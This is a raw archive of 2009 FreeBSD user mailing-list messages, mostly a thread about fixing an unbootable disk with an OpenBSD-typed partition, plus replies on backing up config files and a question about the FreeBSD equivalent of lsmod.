freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: ricardo.m.jesus@criticalsoftware.com List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 24 Aug 2009 17:23:30 -0000 Jeff Molofee wrote: > Can anyone tell me how to update punkbuster ... seems pbweb.x86 doesn't > work anymore (302 errors) and I'm unable to run pbsetup.run it gives me > a float point error, even after unpacking it with upx -d > > Specifically for enemy territory. > > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to > "freebsd-questions-unsubscribe@freebsd.org" > Have a look at http://linux-bsd-sharing.blogspot.com/2009/05/howto-enemy-territory-on-freebsd.html. From owner-freebsd-questions@FreeBSD.ORG Mon Aug 24 17:49:40 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 9CCC61065691 for ; Mon, 24 Aug 2009 17:49:40 +0000 (UTC) (envelope-from rsmith@xs4all.nl) Received: from smtp-vbr5.xs4all.nl (smtp-vbr5.xs4all.nl [194.109.24.25]) by mx1.freebsd.org (Postfix) with ESMTP id 30A628FC1F for ; Mon, 24 Aug 2009 17:49:39 +0000 (UTC) Received: from slackbox.xs4all.nl (slackbox.xs4all.nl [213.84.242.160]) by smtp-vbr5.xs4all.nl (8.13.8/8.13.8) with ESMTP id n7OHnb18018739; Mon, 24 Aug 2009 19:49:38 +0200 (CEST) (envelope-from rsmith@xs4all.nl) Received: by slackbox.xs4all.nl (Postfix, from userid 1001) id AD586BA7F; Mon, 24 Aug 2009 19:49:37 +0200 (CEST) Date: Mon, 24 Aug 2009 19:49:37 +0200 From: Roland Smith To: PJ Message-ID: <20090824174937.GA43410@slackbox.xs4all.nl> References: <4A929241.5060406@videotron.ca> <4A92B6C4.8070309@videotron.ca> MIME-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="SUOF0GtieIMvvwua" Content-Disposition: inline In-Reply-To: <4A92B6C4.8070309@videotron.ca> X-GPG-Fingerprint: 1A2B 477F 9970 BA3C 2914 B7CE 1277 EFB0 C321 A725 X-GPG-Key: http://www.xs4all.nl/~rsmith/pubkey.txt X-GPG-Notice: If this message is not signed, don't assume I sent it! User-Agent: Mutt/1.5.20 (2009-06-14) X-Virus-Scanned: by XS4ALL Virus Scanner Cc: freebsd-questions@freebsd.org Subject: Re: moving a disk X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 24 Aug 2009 17:49:40 -0000 --SUOF0GtieIMvvwua Content-Type: text/plain; charset=iso-8859-15 Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Mon, Aug 24, 2009 at 11:50:28AM -0400, PJ wrote: > PJ wrote: > > I am trying to move a 7.2 installation to another computer where it is > > to be the only OS acting as a server for the lan. > > On bootup I get the message: > > Using drive 0, partition 3. > > And there it hangs. Probably because the boot code can't find the 3rd stage loader... It is strange that it is trying partition 3 instead of partition 4. Did you prepare the disk as explained in the handbook (=A716.3 "Adding Disk= s")? I get the impression that you didn't. And that can have caused the problem.= =20 Try booting again, and press any key to interrupt the boot process to get to the boot prompt. You should see something like: >> FreeBSD/i386 BOOT Default: 0:ad(0,a)/boot/loader boot: At this boot prompt, type 0:ad(0,4,a)/boot/loader This will try to boot from the 4th partition. See boot(8). N.B. the boot manpage uses the term 'slice' for partitions. By default the boot code looks for either the active slice or the first slice with the freebsd type. > > I have tried to rewrite the mbr but that did absolutely nothing. That is not surprising, The mbr is only part of the boot process. The probl= em seems to be that it cannot locate the rest... Read the chapter "The FreeBSD Booting Process" from the FreeBSD Handbook. And see http://en.wikipedia.org/wiki/Master_boot_record This will provide insight into how FreeBSD actually boots. It is a bit of a convoluted process due to historical restrictions of the PC architecture. Reading the manual pages for fdisk(8), boot(8) and loader(8) might also prove enlightening. > > fik ad0 returns: > > partitions 1,2,3 are > > Parrtition 4 give the cylinder, heads, sectors, blocks stuff Why did you install on partition 4? Normally one would use parition 1. > > What should I do? And what information do I need to supply or look for > > to solve this. See below. > > I'd rathernot go through another installation even if this is farly > > elementary. With any luck you don't have to. > > Oh, yes... all my former problems were definitely software related as I > > have checked and double, triple checked my HDDs and cannot find any > > problems therewith. > here is what I have found in looking at the disk when it's mounted > on another FBSD system through an USB interface: > it is mounted on /dev/ad0 > fdisk ad0 ---> returns partitions 1,2,3 as ; partition 4 is > marked for sysid 166 OpenBSD (this seems to be left over from an > installation that was never completed) It should be type 165 for FreeBSD! _Or_ partition 4 should be marked as act= ive (flag 80). Is it? If not you can use the -a flag of fdisk to update the act= ive partition. I think you should use something like 'fdisk -u -a -4 ad0'. Look at the fdisk manual page to see what this does. I'm not sure if this is the right invocation. I have never dealt with this problem. Setting the active partition _should_ be enough. If that doesn't work, you'= re in trouble. As far as I know there is no easy way to just change the partition type, without starting over. In theory you can set the type by fiddling some bits in the partition table, but that is probably harder than it sounds. Ma= ybe sysinstall can do it, but I haven't tried. Next time you want to install FreeBSD on a disk, read =A716.3 "Adding Disks= " of the FreeBSD handbook first, and follow the steps laid out there! That would create and active a single partition which would almost certainly have avoi= ded this problem. > I also note that the other functioning FBSD 7.2 has partitions 2-4 as > and partition 1 has the cylinder parameters. > > I get the impression that I should use the disklabel editor to change > all that but am not familiar with it and am not sure how to use it. No. The disklabel works at a lower level. Historically PC harddisks can be divided into 4 partitions (This is what fd= isk does). So the disk ad0 can have partitions 1--4: ad0s1--ad0s4. In older Fre= eBSD literature these are called slices, hence the 's' in the partition name. FreeBSD can subdivide a partition in labeled sections. These sections are labeled with a letter, so partition ad0s1 can be divided (in 7.x) into labe= led pieces a--g: ad0s1a--ad0s1g. This is what the bsdlabel(8) program does. And= it is usually on these subdivisions that filesystems are created with newfs(8). > Is there a way to fix this thingy? Make sure that partition 4 is the active partition. That should fix it.=20 Roland --=20 R.F.Smith http://www.xs4all.nl/~rsmith/ [plain text _non-HTML_ PGP/GnuPG encrypted/signed email much appreciated] pgp: 1A2B 477F 9970 BA3C 2914 B7CE 1277 EFB0 C321 A725 (KeyID: C321A725) --SUOF0GtieIMvvwua Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.12 (FreeBSD) iEYEARECAAYFAkqS0rEACgkQEnfvsMMhpyVsBACfVzrXWPi7xGM2/ILrdmO1k/DE HIwAoJbcxH+PKRPibHbo+T2JEeHmoYs/ =PyKb -----END PGP SIGNATURE----- --SUOF0GtieIMvvwua-- From owner-freebsd-questions@FreeBSD.ORG Mon Aug 24 18:06:41 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 5FE55106568F for ; Mon, 24 Aug 2009 18:06:41 +0000 (UTC) (envelope-from norgaard@locolomo.org) Received: from mail.locolomo.org (97.pool85-48-194.static.orange.es [85.48.194.97]) by mx1.freebsd.org (Postfix) with ESMTP id 706928FC14 for ; Mon, 24 Aug 2009 18:06:40 +0000 (UTC) Received: from beta.1-16-172-dyn.locolomo.org (beta.1-16-172-dyn.locolomo.org [172.16.1.127]) by mail.locolomo.org (Postfix) with ESMTPSA id D10E01C1A67; Mon, 24 Aug 2009 20:06:35 +0200 (CEST) Message-ID: <4A92D6AA.9090908@locolomo.org> Date: Mon, 24 Aug 2009 20:06:34 +0200 From: Erik Norgaard User-Agent: Thunderbird 2.0.0.23 (Macintosh/20090812) MIME-Version: 1.0 To: Maxim Khitrov References: <26ddd1750908240857gb2973b8h7bc06e0a92b82859@mail.gmail.com> In-Reply-To: <26ddd1750908240857gb2973b8h7bc06e0a92b82859@mail.gmail.com> Content-Type: text/plain; charset=UTF-8; format=flowed Content-Transfer-Encoding: 8bit Cc: Free BSD Questions list Subject: Re: Continuous backup of critical system files X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 24 Aug 2009 18:06:41 -0000 Maxim Khitrov wrote: > I'm setting up a firewall using FreeBSD 7.2 and thought that it may > not be a bad idea to have a continuous backup for important files like > pf and dnsmasq configurations. By continuous I mean some script that > would be triggered every few minutes from cron to automatically create > a backup of any monitored file if it was modified. ... > so the continuous backup would really be for times when someone makes > a mistake editing one of the config files and needs to revert it to > a previous state. It appears to me that you review your procedures rather than deploying such a backup solution. Critical files rarely change (or should rarely be modified), there should be no need to backup every 10 minutes. The more critical the file and the change applied the more testing should be done beforehand and the more care should be taken during the process to ensure that the original can easily be reinstated. You don't want to spend time digging it up from some backup. If your files are very critical then you should have a cvs repository in place as well as a testing environment. I guess this is not the case. If they are less critical then good practices are the way to go: Before modifying anything create a backup in the same location, I add a serial number rather than .bak, .old, .tmp, .new etc which is really confusing. I use, .YYYYMMDDXX, and .orig for the original/default file. It's easy to see when a file was modified and make diffs with the original and also delete old backups this way, with ".old" you really have no continuity, you can't name your next backup ".older". Further, for small tweaks, I comment/uncomment parameters and apply these for fast testing from another session, so I don't even exit the editor. Certainly, I may save and test the file multiple times while tweaking, but in the end, there are only two files worth keeping: the last stable and the current. Of course, I'm not saying it's a bad idea to keep backups, only that if you find a need to continuously backup files as mentioned, then you should review your procedures. See also the current thread on "what should be backed up". BR, Erik -- Erik Nørgaard Ph: +34.666334818/+34.915211157 http://www.locolomo.org From owner-freebsd-questions@FreeBSD.ORG Mon Aug 24 18:33:20 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id EF8C3106568E for ; Mon, 24 Aug 2009 18:33:20 +0000 (UTC) (envelope-from af.gourmet@videotron.ca) Received: from relais.videotron.ca (relais.videotron.ca [24.201.245.36]) by mx1.freebsd.org (Postfix) with ESMTP id C7B1F8FC13 for ; Mon, 24 Aug 2009 18:33:20 +0000 (UTC) MIME-version: 1.0 Content-transfer-encoding: 8BIT Content-type: text/plain; charset=UTF-8 Received: from [192.168.0.51] ([96.21.103.185]) by VL-MH-MR002.ip.videotron.ca (Sun Java(tm) System Messaging Server 6.3-4.01 (built Aug 3 2007; 32bit)) with ESMTP id <0KOW001J78VJ0CW0@VL-MH-MR002.ip.videotron.ca> for freebsd-questions@freebsd.org; Mon, 24 Aug 2009 14:33:20 -0400 (EDT) Message-id: <4A92DCF5.5000808@videotron.ca> Date: Mon, 24 Aug 2009 14:33:25 -0400 From: PJ User-Agent: Thunderbird 2.0.0.23 (Windows/20090812) To: Roland Smith References: <4A929241.5060406@videotron.ca> <4A92B6C4.8070309@videotron.ca> <20090824174937.GA43410@slackbox.xs4all.nl> In-reply-to: <20090824174937.GA43410@slackbox.xs4all.nl> Cc: freebsd-questions@freebsd.org Subject: Re: moving a disk X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 24 Aug 2009 18:33:21 -0000 Roland Smith wrote: > On Mon, Aug 24, 2009 at 11:50:28AM -0400, PJ wrote: > >> PJ wrote: >> >>> I am trying to move a 7.2 installation to another computer where it is >>> to be the only OS acting as a server for the lan. >>> On bootup I get the message: >>> Using drive 0, partition 3. >>> And there it hangs. >>> > > Probably because the boot code can't find the 3rd stage loader... It is > strange that it is trying partition 3 instead of partition 4. > > Did you prepare the disk as explained in the handbook (�16.3 "Adding Disks")? > I get the impression that you didn't. And that can have caused the problem. > > Try booting again, and press any key to interrupt the boot process to get to > the boot prompt. You should see something like: > > >> FreeBSD/i386 BOOT > Default: 0:ad(0,a)/boot/loader > boot: > > At this boot prompt, type > > 0:ad(0,4,a)/boot/loader > > This will try to boot from the 4th partition. See boot(8). N.B. the boot > manpage uses the term 'slice' for partitions. By default the boot code looks > for either the active slice or the first slice with the freebsd type. > > >>> I have tried to rewrite the mbr but that did absolutely nothing. >>> > > That is not surprising, The mbr is only part of the boot process. The problem > seems to be that it cannot locate the rest... Read the chapter "The FreeBSD > Booting Process" from the FreeBSD Handbook. And see > http://en.wikipedia.org/wiki/Master_boot_record > > This will provide insight into how FreeBSD actually boots. It is a bit of a > convoluted process due to historical restrictions of the PC > architecture. Reading the manual pages for fdisk(8), boot(8) and loader(8) > might also prove enlightening. > > >>> fik ad0 returns: >>> partitions 1,2,3 are >>> Parrtition 4 give the cylinder, heads, sectors, blocks stuff >>> > > Why did you install on partition 4? Normally one would use parition 1. > > >>> What should I do? And what information do I need to supply or look for >>> to solve this. >>> > > See below. > > >>> I'd rathernot go through another installation even if this is farly >>> elementary. >>> > > With any luck you don't have to. > > >>> Oh, yes... all my former problems were definitely software related as I >>> have checked and double, triple checked my HDDs and cannot find any >>> problems therewith. >>> > > >> here is what I have found in looking at the disk when it's mounted >> on another FBSD system through an USB interface: >> it is mounted on /dev/ad0 >> fdisk ad0 ---> returns partitions 1,2,3 as ; partition 4 is >> marked for sysid 166 OpenBSD (this seems to be left over from an >> installation that was never completed) >> > > It should be type 165 for FreeBSD! _Or_ partition 4 should be marked as active > (flag 80). Is it? If not you can use the -a flag of fdisk to update the active > partition. I think you should use something like 'fdisk -u -a -4 ad0'. Look > at the fdisk manual page to see what this does. I'm not sure if this is the > right invocation. I have never dealt with this problem. > > Setting the active partition _should_ be enough. If that doesn't work, you're in > trouble. As far as I know there is no easy way to just change the partition > type, without starting over. In theory you can set the type by fiddling some > bits in the partition table, but that is probably harder than it sounds. Maybe > sysinstall can do it, but I haven't tried. > > Next time you want to install FreeBSD on a disk, read �16.3 "Adding Disks" of > the FreeBSD handbook first, and follow the steps laid out there! That would > create and active a single partition which would almost certainly have avoided > this problem. > > >> I also note that the other functioning FBSD 7.2 has partitions 2-4 as >> and partition 1 has the cylinder parameters. >> >> I get the impression that I should use the disklabel editor to change >> all that but am not familiar with it and am not sure how to use it. >> > > No. The disklabel works at a lower level. > > Historically PC harddisks can be divided into 4 partitions (This is what fdisk > does). So the disk ad0 can have partitions 1--4: ad0s1--ad0s4. In older FreeBSD > literature these are called slices, hence the 's' in the partition name. > > FreeBSD can subdivide a partition in labeled sections. These sections are > labeled with a letter, so partition ad0s1 can be divided (in 7.x) into labeled > pieces a--g: ad0s1a--ad0s1g. This is what the bsdlabel(8) program does. And it > is usually on these subdivisions that filesystems are created with newfs(8). > > >> Is there a way to fix this thingy? >> > > Make sure that partition 4 is the active partition. That should fix it. > > Hi Roland, I'm going to keep this email as a valued reminder of what to do and not to do. I'm afraid I was a bit impatient and messed up the already messed up disk... frankly, I don't recall whatever happened to the thing in the first place. I did install a good working 7.2 with samba, mysawl, php and that's about it. It booted fine and I just left it alone not being sure of what I would do with it... kept it as a backup if I should need to access messed up disks. I then installed and configuread a full 7.2 with xorg, samba, etc. etc. and even flashplugin with Firefox 3.5 and everything is humming away nicely. So, I dug up an older motherboard and started fiddling about and thought of installing an already ready disk with 7.2 on it... and here we are. I don't know why it was not set for booting, but it did boot on the first machine... anyway, I'm just practicing another minimal install... it's not as bad as I had thought... I'm getting it all together now. Thanks much, I'm beginning to understand a bit more... this boot stuff sure is complicated... and yes, I have been reading the man pages - theyre ok, but I'm pretty slow .... don't really want to absorb it all.... ;-) From owner-freebsd-questions@FreeBSD.ORG Mon Aug 24 18:40:07 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id E5CAA1065691 for ; Mon, 24 Aug 2009 18:40:07 +0000 (UTC) (envelope-from tajudd@gmail.com) Received: from mail-yw0-f202.google.com (mail-yw0-f202.google.com [209.85.211.202]) by mx1.freebsd.org (Postfix) with ESMTP id 9F09D8FC08 for ; Mon, 24 Aug 2009 18:40:07 +0000 (UTC) Received: by ywh40 with SMTP id 40so3656083ywh.14 for ; Mon, 24 Aug 2009 11:40:06 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :date:message-id:subject:from:to:cc:content-type :content-transfer-encoding; bh=Od2tdjTnVDLUPXTos7GIL5qQ24JIEFHwQyrubkdD+Dw=; b=tBwR+dgh0LEsgsGK8lctSK778Q7SA4eb+stpjknf8hH1XivcNh+C6NkCIa+Gdf6O30 +nY20KhQfA5yTeSodxnmZsQbJN1IX88q7pN4F3KfyULwRAMdZ6sxwnnUJEPcUx/PMbt6 DYyFBJtrw8oEoHZKVmmPhmulqfPDTwc/wC/2c= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type:content-transfer-encoding; b=XZvR4O8K9rZAi/P70LXb9J8fKcthhOZYCbrEQcQsYFBOODZ4I6DaMWYD/fUcvx2nLH qCfjwMez26ehh1X/sNAKR9L1pPgdcJeFcZoBReyylVt29J2QCPQvKm7MSfg0C3kWGOyc 5ZpC1mmnA/k2gn2y5C03/RoSnpNfq0z4RdaNs= MIME-Version: 1.0 Received: by 10.101.50.17 with SMTP id c17mr4895157ank.125.1251139206688; Mon, 24 Aug 2009 11:40:06 -0700 (PDT) In-Reply-To: <20090824174937.GA43410@slackbox.xs4all.nl> References: <4A929241.5060406@videotron.ca> <4A92B6C4.8070309@videotron.ca> <20090824174937.GA43410@slackbox.xs4all.nl> Date: Mon, 24 Aug 2009 12:40:06 -0600 Message-ID: From: Tim Judd To: Roland Smith Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Cc: PJ , freebsd-questions@freebsd.org Subject: Re: moving a disk X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 24 Aug 2009 18:40:08 -0000 On 8/24/09, Roland Smith wrote: > On Mon, Aug 24, 2009 at 11:50:28AM -0400, PJ wrote: >> PJ wrote: >> > I am trying to move a 7.2 installation to another computer where it is >> > to be the only OS acting as a server for the lan. >> > On bootup I get the message: >> > Using drive 0, partition 3. >> > And there it hangs. > > Probably because the boot code can't find the 3rd stage loader... It is > strange that it is trying partition 3 instead of partition 4. 0-based. OpenBSD when set to install and use all of a disk, sets it to the last primary partition (1-based =3D 4, 0-based =3D 3). > > Did you prepare the disk as explained in the handbook (=A716.3 "Adding > Disks")? > I get the impression that you didn't. And that can have caused the proble= m. > > Try booting again, and press any key to interrupt the boot process to get= to > the boot prompt. You should see something like: > > >> FreeBSD/i386 BOOT > Default: 0:ad(0,a)/boot/loader > boot: > > At this boot prompt, type > > 0:ad(0,4,a)/boot/loader > > This will try to boot from the 4th partition. See boot(8). N.B. the boot > manpage uses the term 'slice' for partitions. By default the boot code lo= oks > for either the active slice or the first slice with the freebsd type. This drive still is likely having OpenBSD bootblocks in the MBR and track. I don't expect OpenBSD to boot FreeBSD. > >> > I have tried to rewrite the mbr but that did absolutely nothing. > > That is not surprising, The mbr is only part of the boot process. The > problem > seems to be that it cannot locate the rest... Read the chapter "The FreeB= SD > Booting Process" from the FreeBSD Handbook. And see > http://en.wikipedia.org/wiki/Master_boot_record > > This will provide insight into how FreeBSD actually boots. It is a bit of= a > convoluted process due to historical restrictions of the PC > architecture. Reading the manual pages for fdisk(8), boot(8) and loader(8= ) > might also prove enlightening. > >> > fik ad0 returns: >> > partitions 1,2,3 are >> > Parrtition 4 give the cylinder, heads, sectors, blocks stuff > > Why did you install on partition 4? Normally one would use parition 1. and sysinstall would use (0-based =3D 0, 1-based =3D 1) the first partition= too. > >> > What should I do? And what information do I need to supply or look for >> > to solve this. > > See below. > >> > I'd rathernot go through another installation even if this is farly >> > elementary. > > With any luck you don't have to. > >> > Oh, yes... all my former problems were definitely software related as = I >> > have checked and double, triple checked my HDDs and cannot find any >> > problems therewith. > >> here is what I have found in looking at the disk when it's mounted >> on another FBSD system through an USB interface: >> it is mounted on /dev/ad0 >> fdisk ad0 ---> returns partitions 1,2,3 as ; partition 4 is >> marked for sysid 166 OpenBSD (this seems to be left over from an >> installation that was never completed) > > It should be type 165 for FreeBSD! _Or_ partition 4 should be marked as > active > (flag 80). Is it? If not you can use the -a flag of fdisk to update the > active > partition. I think you should use something like 'fdisk -u -a -4 ad0'. L= ook > at the fdisk manual page to see what this does. I'm not sure if this is t= he > right invocation. I have never dealt with this problem. > > Setting the active partition _should_ be enough. If that doesn't work, > you're in > trouble. As far as I know there is no easy way to just change the partiti= on > type, without starting over. In theory you can set the type by fiddling s= ome > bits in the partition table, but that is probably harder than it sounds. > Maybe > sysinstall can do it, but I haven't tried. > > Next time you want to install FreeBSD on a disk, read =A716.3 "Adding Dis= ks" > of > the FreeBSD handbook first, and follow the steps laid out there! That wou= ld > create and active a single partition which would almost certainly have > avoided > this problem. > >> I also note that the other functioning FBSD 7.2 has partitions 2-4 as >> and partition 1 has the cylinder parameters. >> >> I get the impression that I should use the disklabel editor to change >> all that but am not familiar with it and am not sure how to use it. > > No. The disklabel works at a lower level. > > Historically PC harddisks can be divided into 4 partitions (This is what > fdisk > does). So the disk ad0 can have partitions 1--4: ad0s1--ad0s4. In older > FreeBSD > literature these are called slices, hence the 's' in the partition name. > > FreeBSD can subdivide a partition in labeled sections. These sections are > labeled with a letter, so partition ad0s1 can be divided (in 7.x) into > labeled > pieces a--g: ad0s1a--ad0s1g. This is what the bsdlabel(8) program does. A= nd > it > is usually on these subdivisions that filesystems are created with newfs(= 8). > >> Is there a way to fix this thingy? > > Make sure that partition 4 is the active partition. That should fix it. > > Roland > -- > R.F.Smith http://www.xs4all.nl/~rsmith/ > [plain text _non-HTML_ PGP/GnuPG encrypted/signed email much appreciated] > pgp: 1A2B 477F 9970 BA3C 2914 B7CE 1277 EFB0 C321 A725 (KeyID: C321A725) > HTH From owner-freebsd-questions@FreeBSD.ORG Mon Aug 24 19:29:34 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 406331065672 for ; Mon, 24 Aug 2009 19:29:34 +0000 (UTC) (envelope-from gesbbb@yahoo.com) Received: from smtp106.prem.mail.ac4.yahoo.com (smtp106.prem.mail.ac4.yahoo.com [76.13.13.45]) by mx1.freebsd.org (Postfix) with SMTP id BBFFD8FC1C for ; Mon, 24 Aug 2009 19:29:33 +0000 (UTC) Received: (qmail 34789 invoked from network); 24 Aug 2009 19:29:32 -0000 DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=s1024; d=yahoo.com; h=Received:X-Yahoo-SMTP:X-YMail-OSG:X-Yahoo-Newman-Property:Received:X-Virus-Status:X-Virus-Scanned:Date:From:To:Subject:Message-ID:Reply-To:Organization:X-Mailer:Face:Mime-Version:Content-Type:Content-Transfer-Encoding; b=yusDjM7ZJC0v1sHIcAhoSDwcycV/OhJlCkyH0YGPKC6ZGn8cl4L5hUbXVJ3+SEoCSnBcoDx67ihTpkMe+BHrOIADFrYf2kpqMBKQnOVsdXMG6L0pU0tLhBtBNHISgPvZGkHC/IQuAX+XvSGz+NwjSrTSLAeCnNPrTq33GVrhAmw= ; Received: from c-67-189-183-172.hsd1.ny.comcast.net (gesbbb@67.189.183.172 with login) by smtp106.prem.mail.ac4.yahoo.com with SMTP; 24 Aug 2009 12:29:32 -0700 PDT X-Yahoo-SMTP: yeAAMgKswBATCul4lSbCWspvTA-- X-YMail-OSG: J_2KJJIVM1mxJhjYVJRyLrsigDJQecpqqxbxMVczeobNxYP6Gzo1MP9zDwaLVhp3XrSPcxjnpUuuBInEewzyfJYYopX5kLncevu7Jtcb9ieWBTmW17GRX_97c36H.pZs8eWvmoMxC6FihksrwcNdmbnA7Yp1deHehgnfvsW3Ee1XcaT0rmUR4M0eeZkbpmRr2Qd47_aKkJrXqL.o8F4JyVDrjUPX50el008MToVB2D3EVNfz4gQ0RyDApGqSoxqhs61Wr650tnNVPzeMKvDURpi2CzkjiSxGi1RIDyYAy1r.iOWFiVhPeugaw6VKMxip.konAAwirzwjInIOAa4hR2ONHQmK6eflVJ476rRZuQ-- X-Yahoo-Newman-Property: ymail-3 Received: from scorpio.seibercom.net (localhost [127.0.0.1]) (Authenticated sender: gesbbb@scorpio.seibercom.net) by scorpio.seibercom.net (Postfix) with ESMTPA id 4350F22862 for ; Mon, 24 Aug 2009 15:29:32 -0400 (EDT) X-Virus-Status: Clean X-Virus-Scanned: clamav-milter 0.95.2 at scorpio.seibercom.net Date: Mon, 24 Aug 2009 15:29:32 -0400 From: Jerry To: freebsd-questions@freebsd.org Message-ID: <20090824152932.0780db11@scorpio.seibercom.net> Organization: seibercom.net X-Mailer: Claws Mail 3.7.2 (GTK+ 2.16.5; i386-portbld-freebsd7.2) Face: iVBORw0KGgoAAAANSUhEUgAAADAAAAAwBAMAAAClLOS0AAAAGFBMVEX+/v7++v6YOTrq8PCcuIX989UvOSj++v0BNCbpAAAAB3RJTUUHsQwfFzs7RBhzUQAAAhJJREFUOI1dU8GOqzAMNKIoV1bvwD1i0ysqrHplIdBrVSX7ATSbd03VVvn9tQNtQy0hjAdn7LED4AAcPtWm9RV+MPSfxhBLx9ajd6X/ngB6/mTwnRSZua7i7Ca+0ctZKo4Qmz+JY13X6I3nFZBxIYW1PbgfQ5RP8g0XlltEWGf3cV03joYpRnFbvYDKbXjZlXyyhEZA4lI+cN3NaVXE4VKjSwTExO10eTEkkJVqIAD5z0nUBQJluQDRSQjcrBiHAJxZlAH5CUMBMC7OcJ4LMQNnxhZ1HYPscMc6J4UlWRMNwzOpCcAHKSICd1EDn83abdREIbXsHkD1OinP1aCUCOEVRaa1lMcvywUWdYgk13JQUpYNKmvXQ8Kw5ML9YI5h8SakctBc7E/IYuLhYd/zZIk+1gM1vNweQBvHE0j+oYah3sMqAytQYlZk6+ANaaawJdu3OFzYGMZ3iGpa3qMlq9ZH0VZTgrCtw/ngdYkEIIpSbP1bWQAdFdX9vocBdkH2qVjVmuMu3gI5rjs814EUdrCZgWlPaxZZ3RiLFUtr+ud0PXwp2dnQSNXgePt6AZpBj6UMJ7VQkzN4utVeaSW1Dhn/kblGrKeMvNGnzwX4zuEDarYz1KdPtR60Gul0Gued+515SJXhCsl+Tx/3kY/UDvicPll9mfu50t3tvQ/thZpJYgeuwdSKNJ6tCD98MCgoxLDaPxbwqqwPWaWiAAAAAElFTkSuQmCC X-Face: "\j?x](l|]4p?-1Bf@!wN<&p=$.}^k-HgL}cJKbQZ3r#Ar]\%U(#6}'?<3s7%(%(gxJxxcR Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Subject: Equivilant of 'lsmod' X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: freebsd-questions@freebsd.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 24 Aug 2009 19:29:34 -0000 What is the equivalent of the Linux 'lsmod' command in FreeBSD? -- Jerry gesbbb@yahoo.com To be or not to be, that is the bottom line. From owner-freebsd-questions@FreeBSD.ORG Mon Aug 24 19:32:06 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 26D21106568C for ; Mon, 24 Aug 2009 19:32:06 +0000 (UTC) (envelope-from andrewlylegould@gmail.com) Received: from mail-fx0-f210.google.com (mail-fx0-f210.google.com [209.85.220.210]) by mx1.freebsd.org (Postfix) with ESMTP id AD43E8FC0C for ; Mon, 24 Aug 2009 19:32:05 +0000 (UTC) Received: by fxm6 with SMTP id 6so1551178fxm.43 for ; Mon, 24 Aug 2009 12:32:04 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :date:message-id:subject:from:to:content-type :content-transfer-encoding; bh=8LCyf8mTFiARz8susC14/ltJkr1AoDCyXZVPJCjSg5k=; b=I5bovWgW/vOwSf/0E/5OpJvtgoUbf1d9Ci4ZIBi4/rpC3wlmDZQ4IhL6gYmKDThB+W TrFONAtaRWkX1VTj65K8Zw2nlSb6dtxzFdjyr3ojMqVUK2AqD/PiUnXVgm55tKk/mvYH eAeNjWrcGmwHOjcLyhr2B7Y7gpSer+4EV59NA= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :content-type:content-transfer-encoding; b=SBhZD+uZN1/IvgUx8PTBXG1hePQL7k9xt/X9CdtMW8Sj/y3idivkoaczSzDckCxMFE xtzG2Wl6AFI42nXybkiuXY4q/Jy4xzkMvY8hHbtcl77lipzua/lEynVX3RuWyUuib7xa Rj6Nm/WAkRTRU0KIGKpukY6sul2aJKptEEbHg= MIME-Version: 1.0 Received: by 10.223.132.207 with SMTP id c15mr5129419fat.56.1251142324687; Mon, 24 Aug 2009 12:32:04 -0700 (PDT) In-Reply-To: <20090824152932.0780db11@scorpio.seibercom.net> References: <20090824152932.0780db11@scorpio.seibercom.net> Date: 